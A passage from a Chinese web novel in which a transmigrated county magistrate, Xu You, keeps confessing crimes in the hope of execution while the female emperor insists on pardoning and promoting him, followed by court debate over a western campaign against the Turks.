议政殿内一片死寂,所有人都惊讶的瞪大双眼。 跪在地上的李昌等人,更是惊得瞠目结舌,一个个恨不得以为是自己出现了幻觉。 封官的前提,是没有官职! 那么…… 眼前的许攸,居然连七品都不是,就是个假冒伪劣的白身! 做出这个决定,秦曦也是和李牧商讨了一晚上。 首先许攸没有功名,官职也是康王给的,朝廷没承认,再有就是荆州内,其实早就是许攸在管理,从青尧县辐射整个荆州。 按照青尧县的发展趋势,最多三年,荆州将会被通化,到时候律法、风土人情、习惯以及其他各种都要改。 与其到时候许攸不方便动手,还不如现在开个口子,将特权放开。 秦曦美滋滋的想着,她可是为国为民,把事情考虑到了极致,以后荆州百姓都要夸她是个好皇帝。 人群中正考虑怎么死的许攸,冷不丁打了个寒噤,随后他就懵了。 “等等?陛下您刚说什么?” 许攸怀疑自己出现了幻觉,他似乎听到女帝站在龙台上,冲着文武百官说他无罪,还给他封官了。 “朕宣布,你无罪!” 秦曦噙着笑意,玩味的低下头俯视许攸。 许攸脑袋一片空白,整个人都傻了。 “啥玩意,凭什么恕我无罪?” “昏君!狗皇帝!你丫会不会当皇帝?” “我需要你宣布个锤子,我有罪,我死罪,你杀我全家都行!” 许攸反应过来,猛地上前一步。 “陛下,臣有罪!” “臣篡改国之律法,愚弄百姓,在家中建造酒肉池林,以美女作伴,还四处搜刮民脂民膏,罪行之多,罄竹难书。” “今日臣不死,荆州百姓不安,陛下威严不复,还请陛下降旨,赐臣一死!” 许攸是真的急了,他连死法都准备好,结果女帝居然不让他死。 如此悲呛的哭诉声,让大殿内都陷入到古怪僵持中。 如果秦曦的话,只是油锅内滴了滴水,那么许攸的话,不亚于把灶膛给烧炸。 满朝文武除了李牧之外,都满脸懵逼。 天子亲自赦免,这是很难有的事情,反观许攸这个当事人,不但不磕头道谢,反而还主动请死。 不是百官没见识,自古以来就没许攸这么离谱。 杀良冒功都是常态,为了点功绩,官员们做点小手段,那都是正常情况,反观许攸这种,几乎是从未有过。 荒谬! 这是所有人心中的想法,哪怕是李牧,都不由摇头苦笑。 龙椅上的秦曦,眼皮疯狂跳动。她那张俏脸上的表情,从惊愕到窃喜,再从窃喜到茫然,最后彻底变为愤怒。 她都如此说,金口玉言,可许攸居然不知好歹,还在求死! 这让她的脸面,放在什么地方? 就在那滔天怒火即将发作,秦曦忽然冷静下来。 许攸要死,她就非不让,她倒要看看,她不开这个金口,许攸到底会如何! “许攸,朕已经下令,莫不成你是嫌弃朕的封赏不满意?” “你未曾参加科考,朕破格提拔任命,且给你便宜行事权利,是对你功绩的看重!” “君无戏言,你可不要不知道好歹!” “无罪!” 百官傻愣愣瞪大眼,眼前的剧情完全出乎他们预料。 天子不但没震怒,反而还低声下气的劝说,似乎在和许攸商量。 这到底是朝堂,还是御花园,亦或者说是两人谈情说爱的场所? 许攸更加恼火,他是要寻死,这女帝怎么就不知道好歹? 于是,他决定加一把火! 第八十三章 许攸是大唐的功臣 “陛下,臣有罪,死罪!” 许攸咬着牙,声音悲呛而壮烈。 “臣私开盐铁,私自铸钱,不尊律法,此乃谋逆大罪!” “请陛下明正法典,以酷刑惩戒臣,以还天下个公道!” 满朝文武除了李牧等人外,都已经彻底懵逼了。 最早请命,要斩许攸的李昌,也瞪大双眼,满脸惊骇色彩。 私开盐铁矿,在大唐是重罪,最少要诛三族的那种。 至于私自铸钱,那已经不是重罪,而是谋逆! 动摇国家根本,不是谋逆是什么? 李昌很怀疑,自己是不是听错了,区区一个县令,哪来的本事,哪来的胆量? 就在百官懵逼的时候,秦曦连眼皮都没抬一下,淡淡的道。 “朕适才说了,青尧县及荆州内,你可便宜行事。” “此事以后记得上报,让朕提前知晓即可。” 什么? 许攸也是满脸懵逼。 提前上报,上报什么? 他什么时候,就有这种特权,在青尧县乃至整个荆州胡搞? 即便是王亲贵族,那也不可能有私开盐铁,铸钱的大权。 此刻的他脸色黝黑,他发现眼前这娘们,是铁了心要和他过不去。 “陛下,臣改税法,以四税法为尊,不听朝廷律法,此乃欺君罔上之罪!” “臣还擅自修撰律法,设立民、刑等律法,和大唐律法背道而驰,此罪足以抄家灭族。” “请陛下赐臣一死,以正法典!” 大殿内的官员,已经麻木。 开开盐铁矿,私自铸钱,那只能诛三族,后面这罪名,九族都不够诛的。 改商税,修律法,重新立律法,这青尧县是要闹什么? 这不妥妥的占山为王? 李昌等人暗暗心惊,更加惊愕的是,犯下如此滔天大罪的青尧县县令,居然还活着! 秦曦神色冰冷,她看到了许攸脸上的焦急。 想到回来路上受到的羞辱,此刻她内心莫名有点快意。 “让你整日欺负我,欺负小月儿!” 秦曦眯起眼,淡淡的道。 “朕已经下令,让三省派遣官员,前往青尧县学习。” “你那税法和其他律法,择日写出抄本,供给百官借鉴!” “我大唐需要发展,不可固步自封,朕也不是那酒囊饭袋,自是知道这律法妙用,准了!” 许攸感觉自己肯定是做梦没睡醒。 他说的这两条,放在任何朝代,都够死八百次。 再看台上的女帝,那双凤眸微瑕,精致的俏脸上,写满了得意。 “奶奶的,本老爷今天就不信,还死不成了!” 许攸咬咬牙,他也发狠了。 不就是找个罪名,让女帝暴怒,然后弄死他么? “陛下,臣拥兵自重,擅自屯兵,有兵卒二十万!” “臣还私自铸甲炼铁,从胡蛮等族购买战马,训练骑兵重甲,战力骁勇,可压墨麟军一头!” “臣有谋反之心,还望陛下以江山社稷为重,斩除臣这颗毒瘤!” 轰隆! 李昌嘴巴张大,两只眼都开始翻起了黑雾。 他听到了什么? 谋反,拥兵自重,训练骑兵重甲,士卒战力碾压墨麟军。 这青尧县到底是什么鬼地方,那不是西北荒芜之地,连鸟都不愿意去的地方吗? 此刻除了李牧还能淡定外,文武百官脸色大变,齐刷刷看向龙椅上的秦曦。 若是这种谋逆之罪,都能赦免,那以后大唐可要陷入战火,永远不会安宁。 秦曦的脸色,在这一刻,也终于阴沉下来。 见她脸色变化,许攸长舒一口气。 为了死,他可真不容易! 然而,秦曦并未直接开口,而是缓缓起身,居高临下看着台下百官。 那睥睨天下的气势,让许攸都有点恍惚。 “朕有罪!” 只是一句话,许攸险些瘫软倒在地上。 秦曦却不管他,而是朝着荆州方向,躬身作揖。 “朕自继位以来,一直都以为风调雨顺,国泰民安,大唐有中兴之势!” “可朕错了!” “这五年时间,西北从未传来战报,不是胡族蛮族没有入侵,而是他们被挡在了天门关外!” “康王及青尧县上下,镇守国门有功,朝廷中却从未知晓,此乃朕失察之罪!” 秦曦内心感慨万千,若不是此次青尧县之行,她会被蒙在鼓里,永远不知道西北的百姓,过的日子是如何。 朝廷没有半点消息,荆州就仿佛与世隔绝,三年从未有任何奏报求援送达。 此刻她终于明白,为何说起朝廷,青尧县的百姓是不满,是恨! 朝廷无能,她昏庸不自知,被武将和文官愚弄,险些忘记百姓才是大唐的根本。 之所以如此坦率,她也是受到了许攸的感染。 为官者不能为民,那如何切身实际的做出国策,如何振兴大唐? “朕自知有愧,此事怪不得你,若不是你等坚守国门,外族铁骑早已踏破天门,马踏长安。” “许攸,你不但没罪,还是我大唐的功臣。” 许攸:我有句嘛卖批不知道该不该讲! 许攸呆呆的站在原地,一字都说不出来。 他感觉自己完蛋了。 按照他预想的,女帝看到青尧县情况,肯定会暴怒,动而起杀心,将他狗头给拧下来。 实则女帝居然开始玩罪己诏,还要下旨,这还怎么玩? 朝堂上一片诡异气氛,百官张大嘴,满脸活见鬼的表情,至于秦曦则是一副,“朕有罪,朕对不起许爱卿”的表情。 许攸现在是和吃了苍蝇一样难受,他是真没招了,总不能不要脸,脱了裤子调戏天子。 那即便是死了,估计阎王也不会认账。 思前想后,他打算挣扎下。 “陛下,臣……” “闭嘴!” 秦曦淡漠的一句话,直接把许攸剩余的话语给堵住。 此刻的秦曦,也收敛了自己心绪,适才她是有感而发,并非是做戏。 如今看到许攸还是那厌世的模样,她内心生出一股无名怒火。 两人第一次对视,互相都从彼此眼底看到了倔强。 许攸眉头紧锁,他不明白,女帝为什么要袒护他,也不明白他已经做到能做的,现在只是求一死,为何这么难。 看着他纠结模样,秦曦深吸一口气,吐露出个大炸弹。 第八十四章 被女帝握住了软肋 “朕知道你为何要死!” “你在青尧县留下种子,希望你死后,可以继续发展!” “那些城卫军,是你守护的利器,你还留下了更加厉害的东西,无非就是守护住你留下的种子!” “青尧乃至荆州,都是你计划的一环,朕说的对与不对?” 秦曦首次在许攸面前,展现出自己女帝的光环。 那是一种无法言语的尊贵,以及不容置疑。 许攸没否认,他所做的一切,不单单是为了功德,更是为了改变! 只可惜他只是个人,做不到伸手就能变化,更做不到几年时间,从手工业跨越到工业制造的地步。 或许二三十年,再或许百年后,大唐会逐渐成为他设想的那样,基础工业发展,一步步称霸整个世界。 这都需要时间沉淀,但和他没多少的关系。 “朕知道你的想法,你现在可以死,但是你可曾想过,你死后他们还会遵守你定下的规则吗?” 秦曦自龙台上走下,一步步来到许攸面前。 两人身高几乎一样,就这么彼此对视。 “朕现在就可以下旨,赐你一死!” “但朕敢保证,不出三年时间,青尧必定会乱!” “你留下的东西,有多大的诱惑力,你心中清楚!到了那时候,大唐将不复存在,天下也将陷入战乱!” “而你许攸,不是功臣,你是罪人!” “你难道心里不知道?也没想过?” 许攸嘴角默默动了下,他发现自己被拿捏了。 权利会让人忘记本心,就如同蒋青等人,想要将黄袍穿到他的身上。 若是没他的约束,这些人野心会越来越大。 一旦他死讯传到青尧,后续青尧县发展,就彻底不受他控制。 因果是循环的,当初阎王和他定下规则,就是必须有人承担他制造的因果,如果承担不了,轮回将永远无法开启。 上千万人的身死,哪怕是阎王亲临,也会退却! 秦曦的表情很冷,作为一个手刃自己亲兄弟的狠人,为了大唐的安稳,她可以放弃一切。 对她而言,许攸活着,才是最重要的事情。 她早已看穿了许攸! 许攸嘴角苦涩,他发现自己似乎真的没办法,至少面前的局面,他没办法破除。 他要死,死的其所! 现在女帝也说了,即便是一道圣旨下达,青尧县大乱,以青尧县的兵力,横扫大唐不成问题。 到了那时候,他就不是死得其所,那是罪人! 虽然他很想回到现代,回到他熟知的世界,但如此时刻,绝对不是死的好时机。 “你……赢了!” 许攸仰头长叹一声,躬身作了个礼,便不再言语。 秦曦暗暗得意,刚才她也是捏了把汗。 她昨夜到现在,一直都没合眼,不但是她,还有李牧。 两人在御书房内,就许攸的安排,思考了一夜,到了天明,李牧才想到对策。 许攸不可杀,不但不可杀,还要重用! 青尧县就是许攸的软肋! 秦曦暗暗捏紧拳头,见许攸服软,起身再次走回龙台,居高临下的俯视百官。 “诸位,许攸虽然只是个县令,但发展青尧县有功,更是开创历史先河,立律法,创民生,使得青尧县成为边塞重镇。” “得此贤臣,朕心中甚慰!” 许攸能说什么呢? 贤臣! 这话自然不是说给他听得,而是给文武百官。 天子说他有功,那就是有功,谁人敢辩驳? 百官面面相觑,他们感觉今天或许不应该上早朝,直接去御书房多好! “陛下,此事不可!” 刚才女帝说的话云里雾里,什么种子,什么更加厉害的存在,还有军这个字眼,可不是随意就能使用。 李昌硬着头皮走出去,无论是女帝的态度,还是许攸蔑视朝堂的模样,都足够他参一本。 “臣要参青尧县县令,此人不尊陛下,目无朝纲,在朝会上肆无忌惮,此乃大不敬之罪。” 许攸眨巴下眼,感激的想哭出来。 秦曦也懵了,她刚把许攸糊弄过去,又仗着自己威势,把百官的不满给镇压,怎么瞬间又冒出个刺头? 一看是李昌出言,她的那张俏脸,瞬间黑成了锅底。 “李爱卿,许攸年少,不知道朝堂规矩,些许冲撞并无什么大碍。” “朕原谅了他!” 许攸和李昌同时扯扯嘴皮。 原谅是什么鬼? “陛下,此乃大不敬,臣以为必须严肃纲典,若是以后有人效仿,朝堂纸上岂不是成了菜市口?” “还请陛下降旨,收回成名,废除许攸功名,将其贬为庶人!” 李昌也是个人精,没直接开口要弄死许攸。 听到他的话,秦曦却皱起眉,那双好看的柳叶眉,紧紧簇在一起,凤眸之中也浮现出若有所思的模样。 不等李昌继续开口,她便抢先道。 “李相,朝堂之中可有空缺?” 李牧侧过头看了眼许攸,淡定上前一步,笑呵呵的道。 “启禀陛下,有!” “门下省侍郎暂缺,尚书省左右仆射也有空缺,六部侍郎都可,御史台及翰林院也都有不少空缺。” “臣愿意举荐许大人,担任翰林院院士。” 翰林院是大唐培养官员的地方,也是官员们心中的圣地。 如今翰林院祭酒,就是李牧兼任。作为祭酒,推荐一名院士,这是最合适不过。 秦曦闻言却摇摇头,她有个更好的去处安排。 “许攸精通律法,擅长审时度势,又擅长统计民生,经营一方,深受百姓爱戴。” “不如就安排他,去京兆府,担任京兆府的府尹。” 满朝文武都张大嘴巴,包括许攸也是。 不过许攸立刻有了办法,京兆府府尹那才叫好,这样他就能肆无忌惮的得罪人。 等以后他天天把那些王公贵族的子弟得罪一遍,再把那些纨绔整一遍,他就不信没人参他。 早晚有一天,女帝还是会弄死他的! 李牧倒是反应极快,当即出言附和。 “臣复议!” 接下来的赏赐,变得理所当然,豪宅一座,外加赏钱千两,至于宫女是没有的。 “此事到此结束,日后不可再提!” 秦曦为了堵住百官的口,直接下令封死这件事。 “诸位,这些时日,可有其他要事发生?” 第八十五章 许攸,你如何看 接下来的朝会,和许攸基本上没多少的关系,他虽然是京兆府的府尹,但实际上还是个小官。 若不是李牧给脸,他连站的地方都没。 原来的京兆府府尹,因为他,也荣升到了刑部,大家都很开心。 从河内的水灾,到各地民生汇报,许攸都听的困了,朝会依旧没结束。 “诸位爱卿,朕至今心中有一结,不知道何人能帮朕解惑!” “西北突厥势大,日益猖狂,对我大唐虎视眈眈,**厥更是盘旋割据,将楼兰等国霸占掌控,对我大唐形成包围。” “此患不除,朕心头始终不安,不知道可有爱卿,能够解决?” 这话意思很明显,秦曦要打东西突厥,现在没计策,没兵力,没物资,就只有一道命令。 谁能提出办法,有制敌的良策,就能让她侧目。 “工部尚书,你可有办法?” 被点名的工部尚书陈季,双腿打颤,不亚于被阎王点卯。 旁边的许攸瞪大眼,第一次看到官员被点名,颇有一种小学上学,看到好伙伴睡觉被老师拧起来罚站的感觉。 **厥和吐蕃联手,已经吞并了十多个国家,对大唐的钳制力很强,想要西征的第一步,就是打开连锁。 陈季虽然是工部尚书,但对这些可不懂,他只能低着头,暗暗盘算。 “陛下,此前**厥三番五次袭扰我大唐疆域,我等已经安排工匠抓紧时间铺路。” “只是巴蜀等地山高地险,想要大军进入,不是那么容易,况且修路不是一日就能修成,所需要人力物力,都无法估计。” “户部至今还欠我工部五十万两白银,如今我等也是束手无策,实在没办法推进!” 秦曦听到这番说辞,柳眉斜挑,并未动怒,也没任何生气的模样。 西征的事情,在经过青尧县之行后,已经成了她心头最重要的一步。 她要证明自己,证明自己没错,证明这个皇位,不是她抢来的,而是她迫不得已。 她要证明自己是明主,哪怕是女儿身! “为何不够?户部每年那么多税赋,用到了什么地方?” “我大唐精锐百万,难道连区区吐蕃都无法抵御了吗?” “传朕旨意,抽调内堂,一年之内,朕要看到一条直通巴蜀的官道!” “朕无论你们怎么做,一年之内若是不能完成,你等提头来见朕!” 天子的威严,并非是空穴来风。 秦曦已经做好了鱼死网破的准备,言语中充斥着不容置疑。 一时间,百官面面相觑,不知道如何阻止,也不知道该如何提这件事。 然而就在这时候,一道爽朗的笑声,却不合时宜的打断了死寂气氛。 “陛下,此事万万不可!” 站在许攸面前的恭王,迈开脚步,来到大殿中间。 秦曦见到台下的人,面色变得冰冷。 “恭王何意?” “臣曾听闻,巴蜀之地有神石天降,上书“日月二王,灭唐毁国”。” “此事乃天谴,不得不防,还请陛下明察!” 日月二王,灭唐毁国? 这句话一出,满朝文武脸上表情都变得复杂。 日,自然代表的是秦曦,而月则是小公主。 姐妹二人同出一母,偏偏名字内都带有日月,再加上两人身份,预言已经成了一半。 灭唐毁国! 秦曦倏地直起身,一双凤眸内闪烁其冰冷光芒。 “恭王你这话是何意?” 恭王直起身,面容平静,目光直指台上的秦曦。 “陛下!” “从去年开始,大唐境内多地蝗灾频发,今年更是水患滔天,流民超过五十万!” “如今这个光景,陛下不思为民,却要修路,还要一年内修通巴蜀之地的道路,敢问陛下可把百姓放在心中?” “臣曾询问钦天监诸位,诸位也曾言,天煞显,紫微星宫时隐时现,此乃亡国之像!” “陛下若是执意西征,那本王只能请出金鞭,明正祖宗礼法!” 恭王这番话看似是在阐述事实,实际上全都是威胁。 所有天灾,他都归结到了天子头上,认为是天子不合天意。 如此重磅炸弹,不亚于许攸求死。 秦曦贝齿紧咬下唇,双手死死钻进龙椅副手,一双眸子内阴沉的快滴出水。 “陛下,恭王所言极是,上苍的预言,若是陛下不理,只会引起天谴!” 一名身穿道袍的老者,也从官员中走出。 此话一出,就仿佛打开了宣泄口,朝堂上变成了菜市口。 “陛下,前朝横征暴敛,导致民不聊生,此事早有发生,如今上苍有警示,为何你还要执意如此?” “我大唐不过二十多栽,此刻国力尚不如前朝,若是强行发动西征,只怕会比前朝更惨!” “突厥并非小国,有精锐五十万,各个都是能征好战的好手,我大唐如何抵挡?如实触怒他们,他们兵锋南下,我等只能亡国啊!” 说话的人大部分都是些身穿青色官府的老者,有的年纪比李牧都要大。 许攸静静的看着,眼底的不屑都快化作了实质。 西征的代价固然高,可无论东西突厥,所蕴含的利益,那绝非眼前这些青蛙可以知道。 东西突厥幅员辽阔,不但有各种矿物资源,草场更是连绵万里,更关键的是东西突厥风调雨顺,可不是他前世那荒漠环境。 如此福地,无论是耕种还是畜牧,都可以在短时间内,再造一个鼎盛帝国。 可惜眼前的官员们,蜗居在长安,根本不知道塞外到底是如何的美! 龙椅上,秦曦无力的伸手拖住下巴,她感到很孤独。 西征明明是利益最大的,无论她打到哪里,只要能啃下一块,百姓缺粮的问题,就能极大缓解。 青尧县的例子在眼前,也促使了她攻打突厥的决心。 可惜! 可惜这天下,无人懂她! 这时候,她凤眸余光中,却看到了一道同样孤寂不屑的身影。 许攸! 秦曦眼前一亮,坚定她攻打突厥的心不是别人,正是许攸! 许攸那番话,以及青尧县的发展,让她彻底忘记攻打失败后果! 拿下突厥,壮大大唐,开创盛世! “许攸!” “你对此事,如何看?” 许攸愣了几秒,缓缓给出个大眼。 “陛下,臣用眼睛看!” 第八十六章 背刺女帝 秦曦但凡面前有一面镜子,都可以看到自己那张漆黑的脸。 她堂堂天子,难道不要面子的吗? 被百官诋毁,被恭王嘲讽,现在又被许攸这么说,她恨不得拿起刀,把这些人全部砍了。 “朕问你,恭王言天谴亡国,不宜西征,你对此事如何看待?” 她是不敢问怎么看,就怕等会许攸再爆出什么惊人的言论。 许攸瞪大眼,他自然明白西征的好处。 要不是担心功德成为负数,他早就带着城卫军,去把**厥弄了。 那可是几十万平方公里的沃土,用来畜牧和耕种,不知道能养活多少人。 有了人口,还怕科技发展不起来? 可一切的一切,都归根在,杀人是有损功德的! 亡国灭种更是如此,他是不敢做这种损功德的事情。 不过现在机会就在眼前,他怕折损功德,但话题可不是他挑起来的。 许攸眯起眼,瞬间表情从不屑,到惊喜不断转变。 “陛下,臣以为……” 秦曦也激动了,果然懂她的人,还得是许攸。 “臣以为恭王所言,很有道理!” “臣复议!” 咔嚓! 龙椅发出一声悲鸣,扶手居然硬生生被捏碎了一块。 秦曦双眸瞪大,满脸不敢置信的表情。 而台下百官的表情,也是精彩万分。 在他们看来,许攸既然是天子看中的人,必然有过人才能。 即便是恭王,也都下意识认为,许攸会出言反驳,他已经准备好了说辞,可万万没想到,许攸专场半天,居然是复议。 整个议政殿,都陷入了死寂。 秦曦的表情僵住,她很怀疑,自己是不是听错了。 难道不应该是许攸在长舒心中的抱负,将西征之行说成必须可为,将他心中抱负全部道出吗? 可眼前许攸居然附和恭王,在贬低她的决议! 当初是狗先提的西征啊! 秦曦内心狂怒,她现在很火大,恨不得将许攸给大卸八块才能解她心头的火气。 她低头看去,看到的许攸却满脸笑意,一副你奈我何的表情。 看到那表情,秦曦瞬间明悟。 许攸不是害怕恭王的威势,而是故意在气她,气她先前的言语和决定。 “你想要让朕发怒,当着百官面斩了你,朕今日就偏偏不生气!” 秦曦深吸一口气,双眸紧紧闭紧。 她的胸腔似乎要炸开,每一次呼吸,都有一股炽热的热浪,从鼻翼间喷涌而出。 她在压制心中的愤怒,也在压制心中的火焰。 人是她选的,她不能动怒,也不能让许攸得逞! 几息之后,她缓缓挣开眸子,心中的怒火也逐渐消散,不过看向许攸的眼神,依旧是恨不得杀了他。 “诸位爱卿,你等都说天谴亡国,可曾想过,若是让突厥如此肆无忌惮扩张,我大唐日后如何抵挡?” 她的声音不高,却带着一种冰冷的窒息感。 “朕想问你们,突厥和我大唐,是否是世仇?” “从千年前到现在,任何一个国朝,是否把突厥当做大敌?” 闻言,百官都愣住,就连恭王也皱起眉。 突厥就和蝗虫差不多,杀而不灭,很难彻底剿灭。 前朝为了抵御突厥南下,在边界修建长城,可惜急功近利,百年工程,只用了不到二十年完成。 前朝灭亡原因,大部分是西征失败,但还有一部分,就是耗费的民力和物力太多,导致再也无法维持秩序。 大唐如今处于发展的路口,一旦选择出错,亡国就是唯一的可能! 秦曦没等到回答,只能自顾自的说着。 “突厥早已不是当年,他们西连高句丽,东连吐蕃,吞并楼兰等国,又不断派遣遣唐使,进入我大唐内学习我大唐的技术和制度。” “他们看似是一盘散沙,内部早已形成一块铁板!” “你们看到的是天谴,朕看到的却是一头恶鬼,正在展开獠牙,戏谑的觊觎我大唐。” 说到此处的秦曦,突然拔高了几个声调,整个人也从龙椅上站起身。 “机不可失时不再来,大唐如今兵强马壮,唯有破局才能打破眼前的枷锁!” “我们多等一日,突厥的势力就会暴涨一分,等我们发现不可敌时,就是亡国之日!” “莫非你们觉得,朕是在危言耸听?” “看看吐蕃,看看楼兰,看看巴蜀之地的百姓遭遇,你们内心早已知道,难道不是吗?” 话语最后,秦曦目光落到了许攸身上,神色很是复杂。 “此战,无论谁阻止,朕都不会听,朕会御驾亲征!” 之前还在针锋相对的恭王等人,在这一刻全都低下头保持沉默。 巴蜀之地百姓年年遭到兵灾,偏偏巴蜀地势险峻,朝廷想要派兵支援,都难以做到。 如今大唐的四大军团,四方军之一的白虎军,就坐镇在巴蜀,可即便这样,该被打还是被打。 那窒息的感觉,在朝堂上萦绕。 许攸瞥了眼恭王,暗骂一声废物,又不好强行出头。 西征固然没错,可有一点恭王等人说对了。 那就是大唐现在没西征的资本! 整个大唐能和突厥骑兵对垒的,只有青尧县的城卫军。 可惜青尧县发展时间太短,骑兵不过万人,要是再有五年时间,许攸敢拍着胸口保证,他能全歼东西突厥。 “大哥,你支棱一下,别装死啊!” 本来他计划着,附和恭王这老狐狸,然后激怒女帝,可结果女帝一番话,直接说的恭王哑火。 眼看恭王实在没辙,他不得不小声提醒。 “王爷,陛下说的固然有理,可咱们打不过,你快威胁陛下!” 恭王一愣,扭头看向几乎贴到他面前的许攸,脸色陡然变得阴沉。 “许大人,自重!” 许攸被这话都气笑了,这老狐狸到了这时候,居然和他说自重。 “恭王,打不过,真打不过!” 可惜无论他怎么说,恭王就当没听到,也没看到,低着头一副犯了大错的表情。 他这番举动,自然逃不过秦曦的眸子。 秦曦冷哼一声,带着几分得意沉声道。 “西征之事需要早做准备,朕希望各位爱卿日后能拿出十二分精力!” “朕乏了,退朝!” 许攸茫然的跟着人群行礼,然后他就被赶出了皇宫。 和他同行的还有一脸死了爹的王公公。 第八十七章 监视 “王公公,你真被陛下开了?” 许攸那叫个好奇,天子也太小气了,当初睡他床上,勾引他的时候,也不是这脾气。 今天就是怼了一句,居然把他从皇宫赶出来,还把王公公给开了! “咱陛下可真不是个东西!” 王公公脸色煞白,听到这话差点没尿出来。 “许大人,您就饶了咱家家,咱家还得去宫中复命。” “陛下看咱年岁已高,安排了清闲的差事,以后只用点点账目即可。” 王公公本来是内务府的总管,不过现在被提拔到了内堂,负责掌管内堂。 比起内务府总管,内堂的权利小了不少,但重要性可更大。 为了答谢许攸,王公公特意给他选了个好地方。 “许大人,前面就是陛下为你安排的府邸。” 许攸伸头看去,府邸不算大,距离京兆府走路要走半个时辰。 府邸大门敞开,六男六女早已在门边跪着迎接,至于胭脂也好奇的伸长脑袋,跟在他身后张望。 王公公走在最前面,伸手做出请的姿势。 “府邸中一切都已置办,都是陛下亲自吩咐,还有这些侍女,也都是陛下挑选。” “若是您没其他吩咐,咱家就先回宫复命。” 许攸眯起眼,这府邸的豪华,丝毫不比宫中差。 女帝虽然生气,但对他还是不错的。 眼看王公公要走,许攸突然伸出手,笑眯眯的打趣。 “王公公不喝一杯茶?” 他的左手伸进荷包,两只手指夹住一沓银票,快速抽出后,在袖口位置叠成一团,又飞快塞进王公公的腰带。 这一切发生几块,王公公虽然看到,却没办法阻止。 他下意识的看向腰间,那是许攸塞银票的地方,看着鼓鼓囊囊的模样,少说有五张。 长安城内用的银票,都是官府发行,每张都很厚,上面还有官府特质的防伪印签。 五张银票加起来,最少万两! “多谢公公照拂,日后有什么麻烦,还得麻烦公公一二。” 许攸脸上的表情依旧,那大笑脸看的人眼晕。 王公公摸了下银票位置,脸上从恭维,逐渐变得灿烂。 “许大人,您……太客气了。” “以后有什么吩咐,尽管派人通知一声,咱家保证给你办妥。” “咱家在宫中还是有些人脉,只要不是太出格,些许事情都能解决。” 许攸脸上的笑容,也变得灿烂。 多一条门路,多个气死……多个让女帝弄死自己的方法。 送走了王公公,他也开始审视自己当下。 死是暂时死不掉,今天又把恭王得罪了,也不知道那老狐狸什么时候谏言。 等恭王谏言,估计不现实,他还得搞点事情。 念此,他将目光落到这十二名侍女和家丁身上。 六名家丁都白白净净,还未靠近,就有一股淡淡的香气传来。 不用问,许攸立刻猜到,这是女帝特别准备的礼物! “都站起身,以后见到本老爷,不用跪着说话!” “你叫什么名字?” 他看向最前面的小太监,心中也带着好奇。 被问到话的小太监,身体猛地一颤,额头上都冒出了细密汗珠。 “回……回大人的话,小人没名字,是净事房的陈公公安排,让小人过来伺候大人。” 许攸对几人的出身不意外,但是几人居然是刚被挑出来的,这就很稀奇。 他也懒得去猜那么多,女帝是打算视奸 他,还是打算监视他,他都无所谓。 “以后你们就是这府邸的人,有什么事情不用怕,犯了错也不用害怕。” “这位是胭脂,本老爷的贴身侍女,你们听她的就行。” “本老爷没那么多规矩,把院子打扫打扫,平日里没事自己找点事,你们要回去省亲,也可以和胭脂说。” 眼前的十二人直接傻眼,他们是被挑中,本以为命运到此就要结束。 谁知道新主子,居然如此的怪异。 宫女们更加错愕,她们虽然出了宫,但还是宫女,名义上她们是女帝赐给许攸的。 那她们就是许攸的女人,许攸想怎么玩弄,她们都没办法反抗。 “看本老爷干什么?” “有没有读过书的?” 许攸再次看向这些宫女和太监,他发现这些人,骨子里根深蒂固的有一种奴性的思维。 在他问完话,几人你看看我,我看看你,最后是个身形瘦小的宫女,怯生生走出。 “回老爷的话,我读过书。” “哦?读了什么书?” “四书九经都读过,女戒和清规也曾看过一些。” 这话很出许攸的意外,在他看来,这些宫女应该是穷苦出身,没想到还有罪臣的千金。 能读到女戒和清规的都是大户人家,很少有平民有资格涉及。 “抬起头,你叫什么名字?” “白曦月。” 白曦月将自己的身体压低,她在宫中就听说过,只要被放出宫的宫女,下场都很惨。 她以为自己后半生的命运,大概是会在枯井中度过,没想到遇到了古怪的主人。 许攸咧开嘴,打了个响指。 “以后你就负责这家里的大小用度,大事和胭脂汇报,小事你自己处置。” “啊?老爷,这……” 白曦月差点被吓傻,她只是个罪臣的女儿,如今更是连自由身都不是,如今的主人,却把她捧成了府邸中仅次女主人的存在。 在她看来,胭脂就是女主人。 “老爷,不行的!” “奴是罪臣之后,您让奴管事,会惹人闲话!” 许攸听到这话,嘴角的笑容越来越明显。 搞笑,他怕惹事吗? 整个长安城,以后都是他说了算,连女帝都得看他脸色,他怕这些? “怕什么?以后你就负责府中大小事务,但凡有不开眼的,老爷帮你弄他!” 白曦月闻言,愣在原地,咬住下唇,眼中神色闪烁,最终只是躬身,朝着许攸重重一拜。 交代了白曦月将府邸打扫,许攸给胭脂打了个眼神后,独自朝着门外走去。 刚走出门,他就发现有一双眼睛盯着他。 顺着那目光看去,那是个身穿蓑衣的路人,正蹲在路边喝云吞。 看到对方的模样,许攸嘴巴微微张开,吐露出两个字。 “蠢货!” 只见到他身形快速闪烁,在对方低头瞬间,便彻底消失不见。 第八十八章 青尧县的情报网 “店家,刚才那人呢?” 侍卫统领金顺,看着眼前空荡荡的街道,眼前一阵发黑。 天子让他过来盯梢,还曾言明,许攸就是个手无缚鸡之力的瘦弱青年,不要靠近即可。 可转眼的功夫,他不过是低个头,结果人就没了。 卖云吞的老汉,看傻子一样盯着金顺。 “老汉怎么知道?你莫不是不想给钱吧?” “多少钱?” “十五个大钱!” 金顺想杀人的心都有了,一碗云吞面,居然十五个大钱,他喝什么云吞。 找不到了许攸,他只能去找其他人,看看有没有发现。 他刚走,老汉露出鄙夷的笑容,快速将云吞摊子收好,转头去巷子中换了个行头。 若是金顺在这里,一定会发现老汉身上多了一股干练的气息。 老汉穿过两个巷子,快步来到家酒楼,随后抬手敲敲包间的房门。 不多时,房门打开。 “大人!您怎么会在此地?” “嗯?” 察觉失言的老汉,急忙转变话语,低头憨笑着道。 “大人,你真的来了?” “此地是我们的据点,没有任何人耳目!” 许攸的表情凝沉,右手端着茶杯,左手食指在桌面不停轻敲。 “天子西巡的事情,为什么我不知道?” 说道这件事,老汉的表情彻底凝固。 一般情况下,许攸是否生气,从他表情就能看出来。 但有一种情况例外,那就是他在压抑心中的杀意。 此次老汉他们失误巨大,导致许攸许多计划不得已提前,甚至现在处于被动局面。 青尧县是他留下的根基,也是他留下的种子,大唐会如何发展,就看青尧县如何发展。 如今青尧县的秘密提前暴露,这对任何人都不是好事! “属下无能!” 老汉“嘭”的一声跪倒地上。 “你该死,知道吗?” 许攸的表情很冷,和他一贯的笑容不同,这次他是真的动了杀心。 罗网创立了五年,五年时间内第一次出现差错! 这个差错,足以毁灭青尧县! 